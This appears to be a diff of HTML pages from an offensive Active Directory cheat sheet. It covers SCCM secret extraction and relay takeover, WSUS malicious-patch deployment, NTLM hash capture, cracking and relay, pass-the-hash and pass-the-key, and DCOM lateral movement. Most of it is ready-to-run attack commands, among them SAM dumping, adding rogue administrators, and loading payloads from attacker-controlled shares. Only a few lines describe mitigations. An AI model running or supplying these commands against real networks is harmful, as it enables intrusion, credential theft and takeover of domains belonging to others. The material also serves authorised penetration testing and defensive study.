
    Using GhostPack/SharpDPAPI + 

    $str = "060...F2DAF"
+$bytes = for($i=0; $i -lt $str.Length; $i++) {[byte]::Parse($str.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber); $i++}
+$b64 = [Convert]::ToBase64String($bytes[4..$bytes.Length])
+.\SharpDPAPI.exe blob /target:$b64 /mkfile:masterkeys.txt    
+

    +
    • +
  • +

    Using Mayyhem/SharpSCCM for SCCM retrieval and decryption + 

    .\SharpSCCM.exe local secrets -m wmi
+

    +
    • +
+

From a remote machine.

+
    +
  • Using garrettfoster13/sccmhunter + 
    python3 ./sccmhunter.py http -u "administrator" -p "P@ssw0rd" -d internal.lab -dc-ip 10.10.10.10. -auto
+
    • +
+

CRED-4 Extract legacy credentials stored as DPAPI blobs

+ +

Requirements:

+
    +
  • Local administrator privileges on an SCCM client
    • +
+

Exploitation:

+
    +
  • +

    Search the database using SharpDPAPI + 

    .\SharpDPAPI.exe search /type:file /path:C:\Windows\System32\wbem\Repository\OBJECTS.DATA
+

    +
    • +
  • +

    Search the database using SharpSCCM + 

    .\SharpSCCM.exe local secrets -m disk
+

    +
    • +
  • +

    Check ACL for the CIM repository located at C:\Windows\System32\wbem\Repository\OBJECTS.DATA: + 

    Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl
+ConvertFrom-SddlString ""
+

    +
    • +
+

CRED-5 Extract the SC_UserAccount table from the site database

+ +

Requirements:

+
    +
  • Site database access
    • +
  • Primary site server access
      +
    • Access to the private key used for encryption
      • +
    +
    • +
+

Exploitation:

+
    +
  • gentilkiwi/mimikatz + 
    mimikatz # misc::sccm /connectionstring:"DRIVER={SQL Server};Trusted=true;DATABASE=ConfigMgr_CHQ;SERVER=CM1;"
+
    • +
  • skahwah/SQLRecon, only if the site server and database are hosted on the same system + 
    SQLRecon.exe /auth:WinToken /host:CM1 /database:ConfigMgr_CHQ /module:sDecryptCredentials
+
    • +
  • SQLRecon + xpn/sccmdecryptpoc.cs + 
    SQLRecon.exe /auth:WinToken /host:<SITE-DB> /database:CM_<SITECODE> /module:query /command:"SELECT * FROM SC_UserAccount"
+sccmdecryptpoc.exe 0C010000080[...]5D6F0
+
    • +
+

SCCM Relay

+

TAKEOVER1 - Low Privileges to Database Administrator - MSSQL relay

+

Requirements:

+
    +
  • Database separated from the site server
    • +
  • Server site is sysadmin of the database
    • +
+

Exploitation:

+
    +
  • Generate the query to elevate our user: python3 sccmhunter.py mssql -u carol -p SCCMftw -d sccm.lab -dc-ip 192.168.33.10 -debug -tu carol -sc P01 -stacked
    • +
  • Setup a relay with the generated query: ntlmrelayx.py -smb2support -ts -t mssql://192.168.33.12 -q "USE CM_P01; INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x01050000000000051500000058ED3FD3BF25B04EDE28E7B85A040000,'SCCMLAB\carol',0,0,'','','','','P01');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00ALL','29');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00001','1'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00004','1');"
    • +
  • Coerce an authentication to your listener using a domain account: petitpotam.py -d sccm.lab -u carol -p SCCMftw 192.168.33.1 192.168.33.11
    • +
  • Finally, connect as admin on the MSSQL server: python3 sccmhunter.py admin -u carol@sccm.lab -p 'SCCMftw' -ip 192.168.33.11
    • +
+

TAKEOVER2 - Low Privileges to MECM Admin Account - SMB relay

+

Microsoft requires the site server's computer account to be an administrator on the MSSQL server.

+

Exploitation:

+
    +
  • Start a listener for the MSSQL Server: ntlmrelayx -t 192.168.33.12 -smb2support -socks
    • +
  • Coerce an authentication from the Site Server using domain credentials (low privileges SCCM NAA retrieved on the same machine works great): petitpotam.py -d sccm.lab -u sccm-naa -p 123456789 192.168.33.1 192.168.33.11
    • +
  • Finally use the SOCKS from ntlmrelayx to access the MSSQL server as a local administrator + 
    proxychains -q smbexec.py -no-pass SCCMLAB/'MECM$'@192.168.33.12 
+proxychains -q secretsdump.py -no-pass SCCMLAB/'MECM$'@192.168.33.12 
+
    • +
+

SCCM Persistence

+
    +
  • mandiant/CcmPwn - lateral movement script that leverages the CcmExec service to remotely hijack user sessions.
    • +
+

CcmExec is a service native to SCCM Windows clients that is executed on every interactive session. This technique requires Adminsitrator privileges on the targeted machine.

+
    +
  • +

    Backdoor the SCNotification.exe.config to load your DLL

    +
    python3 ccmpwn.py domain/user:password@workstation.domain.local exec -dll evil.dll -config exploit.config
+
    +
    • +
  • +

    Malicious config to force SCNotification.exe to load a file from an attacker-controlled file share

    +
    python3 ccmpwn.py domain/user:password@workstation.domain.local coerce -computer 10.10.10.10
+
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+

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Deployment - WSUS

+
+

Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network

+
+

⚠ The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.

+
    +
  • +

    SharpWSUS

    +
    • +
  • +

    Locate using HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate or SharpWSUS.exe locate

    +
    • +
  • After WSUS Server compromise: SharpWSUS.exe inspect
    • +
  • Create a malicious patch: SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"
    • +
  • Deploy it on the target: SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"
    • +
  • Check status deployment: SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local
    • +
  • Clean up: SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group
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Hash - Capture and Cracking

+

LmCompatibilityLevel

+

LmCompatibilityLevel is a Windows security setting that determines the level of authentication protocol used between computers. It specifies how Windows handles NTLM and LAN Manager (LM) authentication protocols, impacting how passwords are stored and how authentication requests are processed. The level can range from 0 to 5, with higher levels generally providing more secure authentication methods.

+
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel
+
+
    +
  • Level 0 - Send LM and NTLM response; never use NTLM 2 session security. Clients use LM and NTLM authentication, and never use NTLM 2 session security; domain controllers accept LM, NTLM, and NTLM 2 authentication.
    • +
  • Level 1 - Use NTLM 2 session security if negotiated. Clients use LM and NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.
    • +
  • Level 2 - Send NTLM response only. Clients use only NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.
    • +
  • Level 3 - Send NTLM 2 response only. Clients use NTLM 2 authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.
    • +
  • Level 4 - Domain controllers refuse LM responses. Clients use NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers refuse LM authentication (that is, they accept NTLM and NTLM 2).
    • +
  • Level 5 - Domain controllers refuse LM and NTLM responses (accept only NTLM 2). Clients use NTLM 2 authentication, use NTLM 2 session security if the server supports it; domain controllers refuse NTLM and LM authentication (they accept only NTLM 2).A client computer can only use one protocol in talking to all servers. You cannot configure it, for example, to use NTLM v2 to connect to Windows 2000-based servers and then to use NTLM to connect to other servers. This is by design.
    • +
+

Capturing and cracking Net-NTLMv1/NTLMv1 hashes/tokens

+
+

Net-NTLMv1 (NTLMv1) authentication tokens are used for network authentication. They are derived from a challenge/response DES-based algorithm with the user's NT-hash as symetric keys.

+
+

ℹ Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to NetNTLMv1 Challenge/Response authentication. This uses the outdated encryption method DES to protect the NT/LM Hashes.

+

Requirements:

+
    +
  • LmCompatibilityLevel = 0x1: Send LM and NTLM response
    • +
+

Exploitation:

+
    +
  • Capturing using lgandx/Responder: Edit the /etc/responder/Responder.conf file to include the magical 1122334455667788 challenge + 
    HTTPS = On
+DNS = On
+LDAP = On
+...
+; Custom challenge.
+; Use "Random" for generating a random challenge for each requests (Default)
+Challenge = 1122334455667788
+
    • +
  • Fire Responder: responder -I eth0 --lm, if --disable-ess is set, extended session security will be disabled for NTLMv1 authentication
    • +
  • Force a callback: + 
    PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
+PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users
+
    • +
  • If you got some NetNTLMv1 tokens, you can try to shuck them online via Shuck.Sh or locally/on-premise via ShuckNT to get NT-hashes corresponding from HIBP database. If the NT-hash has previously leaked, the NetNTLMv1 is converted to NT-hash (pass-the-hash ready) instantly. The shucking process works for any NetNTLMv1 with or without ESS/SSP (challenge != 1122334455667788) but mainly for user account (plaintext previsouly leaked). + 
    # Submit NetNTLMv1 online to https://shuck.sh/get-shucking.php
+# Or shuck them on-premise via ShuckNT script:
+$ php shucknt.php -f tokens-samples.txt -w pwned-passwords-ntlm-reversed-ordered-by-hash-v8.bin
+[...]
+10 hashes-challenges analyzed in 3 seconds, with 8 NT-Hash instantly broken for pass-the-hash and 1 that can be broken via crack.sh for free.
+[INPUT] ycam::ad:DEADC0DEDEADC0DE00000000000000000000000000000000:70C249F75FB6D2C0AC2C2D3808386CCAB1514A2095C582ED:1122334455667788
+        [NTHASH-SHUCKED] 93B3C62269D55DB9CA660BBB91E2BD0B
+
    • +
  • If you got some NetNTLMv1 tokens, you can also try to crack them via Crack.Sh (cloud service when available, more time and potentially chargeable). For this you need to format them to submit them on Crack.Sh. The Converter of Shuck.Sh can be used to convert format easily. + 
    # When there is no-ESS/SSP and the challenge is set to 1122334455667788, it's free (0$):
+username::hostname:response:response:challenge -> NTHASH:response
+NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
+
+# When there is ESS/SSP or challenge != 1122334455667788, it's chargeable from $20-$200:
+username::hostname:lmresponse+0padding:ntresponse:challenge -> $NETNTLM$challenge$ntresponse
+$NETNTLM$DEADC0DEDEADC0DE$507E2A2131F4AF4A299D8845DE296F122CA076D49A80476E
+
    • +
  • Finaly, if no Shuck.Sh nor Crack.Sh can be used, you can try to break NetNTLMv1 with Hashcat / John The Ripper + 
    john --format=netntlm hash.txt
+hashcat -m 5500 -a 3 hash.txt # for NetNTLMv1(-ESS/SSP) to plaintext (for user account)
+hashcat -m 27000 -a 0 hash.txt nthash-wordlist.txt # for NetNTLMv1(-ESS/SSP) to NT-hash (for user and computer account, depending on nthash-wordlist quality)
+hashcat -m 14000 -a 3 inputs.txt --hex-charset -1 /usr/share/hashcat/charsets/DES_full.hcchr ?1?1?1?1?1?1?1?1 # for NetNTLMv1(-ESS/SSP) to DES-keys (KPA-attack) of user/computer account with 100% success rate, then regenerate NT-hash with these DES-keys on https://shuck.sh/converter.php.
+
    • +
  • Now you can DCSync using the Pass-The-Hash with the DC machine account
    • +
+

⚠ NetNTLMv1 with ESS / SSP (Extended Session Security / Security Support Provider) changes the final challenge by adding a new alea (!= 1122334455667788, so chargeable on Crack.Sh).

+

⚠ NetNTLMv1 format is login::domain:lmresp:ntresp:clientChall. If the lmresp contains a 0's-padding this means that the token is protected by ESS/SSP.

+

⚠ NetNTLMv1 final challenge is the Responder's challenge itself (1122334455667788) when there is no ESS/SSP. If ESS/SSP is enabled, the final challenge is the first 8 bytes of the MD5 hash from the concatenation of the client challenge and server challenge. The details of the algorithmic generation of a NetNTLMv1 are illustrated on the Shuck.Sh Generator and detailed in MISCMag#128.

+

⚠ If you get some tokens from other tools (hostapd-wpe or chapcrack) in other formats, like tokens starting with the prefix $MSCHAPv2$, $NETNTLM$ or $99$, they correspond to a classic NetNTLMv1 and can be converted from one format to another here.

+

Mitigations:

+
    +
  • Set the Lan Manager authentication level to Send NTLMv2 responses only. Refuse LM & NTLM
    • +
+

Capturing and cracking Net-NTLMv2/NTLMv2 hashes

+

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

+
# https://github.com/lgandx/Responder
+$ sudo ./Responder.py -I eth0 -wfrd -P -v
+
+# https://github.com/Kevin-Robertson/InveighZero
+PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]
+
+# https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Invoke-Inveigh.ps1
+PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y
+
+

Crack the hashes with Hashcat / John The Ripper

+
john --format=netntlmv2 hash.txt
+hashcat -m 5600 -a 3 hash.txt
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Hash - OverPass-the-Hash

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+

In this technique, instead of passing the hash directly, we use the NT hash of an account to request a valid Kerberost ticket (TGT).

+
+

Using impacket

+
root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com
+root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
+root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass
+
+root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
+root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
+root@kali:~$ klist
+
+

Using Rubeus

+
# Request a TGT as the target user and pass it into the current session
+# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
+.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt
+
+# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
+.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
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Hash - Pass the Hash

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The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

+
    +
  • Metasploit + 
    use exploit/windows/smb/psexec
+set RHOST 10.2.0.3
+set SMBUser jarrieta
+set SMBPass nastyCutt3r  
+# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
+# NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
+set PAYLOAD windows/meterpreter/bind_tcp
+run
+shell
+
    • +
  • netexec + 
    nxc smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
+
    • +
  • Impacket suite + 
    proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
+
    • +
  • Windows RDP and mimikatz + 
    sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
+sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm hash> /run:"mstsc.exe /restrictedadmin"
+
    • +
+

You can extract the local SAM database to find the local administrator hash :

+
C:\> reg.exe save hklm\sam c:\temp\sam.save
+C:\> reg.exe save hklm\security c:\temp\security.save
+C:\> reg.exe save hklm\system c:\temp\system.save
+$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
+
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Hash - Pass The Key

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Pass The Key allows attackers to gain access to systems by using a valid session key instead of the user's password or NTLM hash. This technique is related to other credential-based attacks like Pass The Hash (PTH) and Pass The Ticket (PTT) but specifically uses session keys to authenticate.

+

Pre-authentication requires the requesting user to provide a secret key, which is derived from their password and may use encryption algorithms such as DES, RC4, AES128, or AES256.

+
    +
  • RC4: ARCFOUR-HMAC-MD5 (23), in this format, this is the NTLM hash, go to Pass The Hash to use it directly and Over Pass The Hash page to request a TGT from it.
    • +
  • DES: DES3-CBC-SHA1 (16), should not be used anymore and have been deprecated since 2018 (RFC 8429).
    • +
  • AES128: AES128-CTS-HMAC-SHA1-96 (17), both AES encryption algorithms can be used with Impacket and Rubeus tools.
    • +
  • AES256: AES256-CTS-HMAC-SHA1-96 (18)
    • +
+

In the past, there were more encryptions methods, that have now been deprecated.

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enctypeweak?krb5Windows
des-cbc-crcweak<1.18>=2000
des-cbc-md4weak<1.18?
des-cbc-md5weak<1.18>=2000
des3-cbc-sha1>=1.1none
arcfour-hmac>=1.3>=2000
arcfour-hmac-expweak>=1.3>=2000
aes128-cts-hmac-sha1-96>=1.3>=Vista
aes256-cts-hmac-sha1-96>=1.3>=Vista
aes128-cts-hmac-sha256-128>=1.15none
aes256-cts-hmac-sha384-192>=1.15none
camellia128-cts-cmac>=1.9none
camellia256-cts-cmac>=1.9none
+

Microsoft Windows releases Windows 7 and later disable single-DES enctypes by default.

+

Either use the AES key to generate a ticket with ticketer, or request a new TGT using getTGT.py script from Impacket.

+

Generate a new ticket

+
    +
  • fortra/impacket/ticketer.py + 
    impacket-ticketer -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 -domain lab.local Administrator -domain-sid S-1-5-21-2218639424-46377867-3078535060
+
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+

Request a TGT

+
    +
  • +

    fortra/impacket/getTGT.py + 

    impacket-getTGT -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 lab.local
+

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    • +
  • +

    GhostPack/Rubeus + 

    .\Rubeus.exe asktgt /user:Administrator /aes128 bc09f84dcb4eabccb981a9f265035a72 /ptt
+.\Rubeus.exe asktgt /user:Administrator /aes256:2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 /opsec /ptt
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Internal - DCOM

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DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.

+
+
    +
  • Impacket DCOMExec.py + 
    dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
+dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
+dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'
+
+python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
+# -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
+# -silentcommand executes the command without attempting to retrieve the output.
+
    • +
  • CheeseTools - https://github.com/klezVirus/CheeseTools + 
    # https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
+-t, --target=VALUE         Target Machine
+-b, --binary=VALUE         Binary: powershell.exe
+-a, --args=VALUE           Arguments: -enc <blah>
+-m, --method=VALUE         Methods: MMC20Application, ShellWindows,
+                            ShellBrowserWindow, ExcelDDE, VisioAddonEx,
+                            OutlookShellEx, ExcelXLL, VisioExecLine, 
+                            OfficeMacro
+-r, --reg, --registry      Enable registry manipulation
+-h, -?, --help             Show Help
+
+Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.
+
    • +
  • Invoke-DCOM - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1 + 
    Import-Module .\Invoke-DCOM.ps1
+Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe"
+Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
+Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
+Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe"
+Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe"
+
    • +
+

DCOM via MMC Application Class

+

This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named "ExecuteShellCommand" under Document.ActiveView.

+
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1"))
+PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
+PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")
+
+# Weaponized example with MSBuild
+PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7")
+
+

Invoke-MMC20RCE : https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1

+

DCOM via Office

+
    +
  • Excel.Application
    • +
  • DDEInitiate
    • +
  • RegisterXLL
    • +
  • Outlook.Application
    • +
  • CreateObject->Shell.Application->ShellExecute
    • +
  • CreateObject->ScriptControl (office-32bit only)
    • +
  • Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
    • +
  • Addons
    • +
  • ExecuteLine
    • +
  • Word.Application
    • +
  • RunAutoMacro
    • +
+
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM
+Invoke-Excel4DCOM64.ps1 https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
+Invoke-ExShellcode.ps1 https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a
+
+# Using Excel DDE
+PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
+PS C:\> $excel.DisplayAlerts = $false
+PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")
+
+# Using Excel RegisterXLL
+# Can't be used reliably with a remote target
+Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1
+PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
+PS> $excel.RegisterXLL("EvilXLL.dll")
+
+# Using Visio
+$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName"))
+$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")
+
+

DCOM via ShellExecute

+
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1")
+$obj = [System.Activator]::CreateInstance($com)
+$item = $obj.Item()
+$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
+
+

DCOM via ShellBrowserWindow

+

⚠ Windows 10 only, the object doesn't exists in Windows 7

+
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1")
+$obj = [System.Activator]::CreateInstance($com)
+$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
+
+

References

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+ + + + + + + + + + \ No newline at end of file diff --git a/active-directory/internal-mitm-relay/index.html b/active-directory/internal-mitm-relay/index.html new file mode 100644 index 0000000..bb8e1df --- /dev/null +++ b/active-directory/internal-mitm-relay/index.html @@ -0,0 +1,4635 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Internal - MITM and Relay - Internal All The Things + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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Internal - MITM and Relay

+

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HashHashcatAttack method
LM3000crack/pass the hash
NTLM/NTHash1000crack/pass the hash
NTLMv1/Net-NTLMv15500crack/relay attack
NTLMv2/Net-NTLMv25600crack/relay attack
+

Crack the hash with hashcat.

+
hashcat -m 5600 -a 0 hash.txt crackstation.txt
+
+

MS08-068 NTLM reflection

+

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

+
+

This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

+
+
    +
  • https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068
    • +
+
msf > use exploit/windows/smb/smb_relay
+msf exploit(smb_relay) > show targets
+
+

LDAP signing not required and LDAP channel binding disabled

+

During security assessment, sometimes we don't have any account to perform the audit. Therefore we can inject ourselves into the Active Directory by performing NTLM relaying attack. For this technique three requirements are needed:

+
    +
  • LDAP signing not required (by default set to Not required)
    • +
  • LDAP channel binding is disabled. (by default disabled)
    • +
  • ms-DS-MachineAccountQuota needs to be at least at 1 for the account relayed (10 by default)
    • +
+

Then we can use a tool to poison LLMNR, MDNS and NETBIOS requests on the network such as Responder and use ntlmrelayx to add our computer.

+

# On first terminal
+sudo ./Responder.py -I eth0 -wfrd -P -v
+
+# On second terminal
+sudo python ./ntlmrelayx.py -t ldaps://IP_DC --add-computer
+
+It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection.

+

SMB Signing Disabled and IPv4

+

If a machine has SMB signing:disabled, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay and get a shell access on the machine. Also called LLMNR/NBNS Poisoning

+
    +
  1. Open the Responder.conf file and set the value of SMB and HTTP to Off. + 
    [Responder Core]
+; Servers to start
+...
+SMB = Off     # Turn this off
+HTTP = Off    # Turn this off
+
    2. +
  2. Run python RunFinger.py -i IP_Range to detect machine with SMB signing:disabled.
    3. +
  3. Run python Responder.py -I <interface_card>
    4. +
  4. Use a relay tool such as ntlmrelayx or MultiRelay
      +
    • impacket-ntlmrelayx -tf targets.txt to dump the SAM database of the targets in the list.
      • +
    • python MultiRelay.py -t <target_machine_IP> -u ALL
      • +
    +
    5. +
  5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions. + 
    $ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
+[*] Servers started, waiting for connections
+Type help for list of commands
+ntlmrelayx> socks
+Protocol  Target          Username                  Port
+--------  --------------  ------------------------  ----
+MSSQL     192.168.48.230  VULNERABLE/ADMINISTRATOR  1433
+SMB       192.168.48.230  CONTOSO/NORMALUSER1       445
+MSSQL     192.168.48.230  CONTOSO/NORMALUSER1       1433
+
+# You might need to select a target with "-t"
+# smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// and smtp://
+impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support
+impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support
+
+# the socks proxy can then be used with your Impacket tools or netexec
+$ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1
+$ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth
+$ proxychains netexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1"   
+
    6. +
+

Mitigations:

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    +
  • Disable LLMNR via group policy + 
    Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
+
    • +
  • Disable NBT-NS + 
    This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP
+
    • +
+

SMB Signing Disabled and IPv6

+

Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

+
netexec smb $hosts --gen-relay-list relay.txt
+
+# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
+# -d is the domain name that we filter our request on - the attacked domain
+# -i is the interface we have mitm6 listen on for events
+mitm6 -i eth0 -d $domain
+
+# spoofing WPAD and relaying NTLM credentials
+impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
+impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug
+
+# -ip is the interface you want the relay to run on
+# -wh is for WPAD host, specifying your wpad file to serve
+# -t is the target where you want to relay to. 
+impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
+
+

Drop the MIC - CVE-2019-1040

+
+

The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

+
+

Check vulnerability with cve-2019-1040-scanner

+
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
+[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
+[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
+
+
    +
  • +

